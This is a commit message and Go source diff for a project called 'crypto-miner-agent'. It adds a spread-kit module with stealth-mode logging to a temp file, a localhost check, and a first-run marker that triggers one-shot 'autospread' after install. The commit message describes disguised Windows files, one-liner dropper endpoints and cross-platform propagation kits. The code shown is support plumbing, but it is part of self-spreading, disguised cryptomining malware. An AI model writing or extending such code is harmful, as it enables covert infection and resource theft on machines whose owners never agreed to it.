Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/deploy/spreadkit.go

@@ -0,0 +1,72 @@
+package deploy
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+const spreadLogName = "aetherforge-spread.log"
+
+// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console).
+func LogSpreadError(stage string, err error) {
+	if err == nil {
+		return
+	}
+	line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err)
+	path := filepath.Join(os.TempDir(), spreadLogName)
+	f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
+	if openErr != nil {
+		return
+	}
+	_, _ = f.WriteString(line)
+	_ = f.Close()
+}
+
+func LogSpreadInfo(msg string) {
+	line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg)
+	path := filepath.Join(os.TempDir(), spreadLogName)
+	f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
+	if err != nil {
+		return
+	}
+	_, _ = f.WriteString(line)
+	_ = f.Close()
+}
+
+func isLocalhostURL(url string) bool {
+	u := strings.ToLower(strings.TrimSpace(url))
+	return strings.Contains(u, "localhost") ||
+		strings.Contains(u, "127.0.0.1") ||
+		strings.Contains(u, "[::1]")
+}
+
+const firstRunSpreadMarker = ".spread_first_run"
+
+func setFirstRunSpreadMarker(installDir string) error {
+	return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600)
+}
+
+// WantsFirstRunSpread reports a one-shot autospread after spread-kit install.
+func WantsFirstRunSpread(cfg config.RuntimeConfig) bool {
+	dir, err := cfg.InstallDirectory()
+	if err != nil {
+		return false
+	}
+	_, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker))
+	return err == nil
+}
+
+// ClearFirstRunSpreadMarker removes the first-run spread marker.
+func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) {
+	dir, err := cfg.InstallDirectory()
+	if err != nil {
+		return
+	}
+	_ = os.Remove(filepath.Join(dir, firstRunSpreadMarker))
+}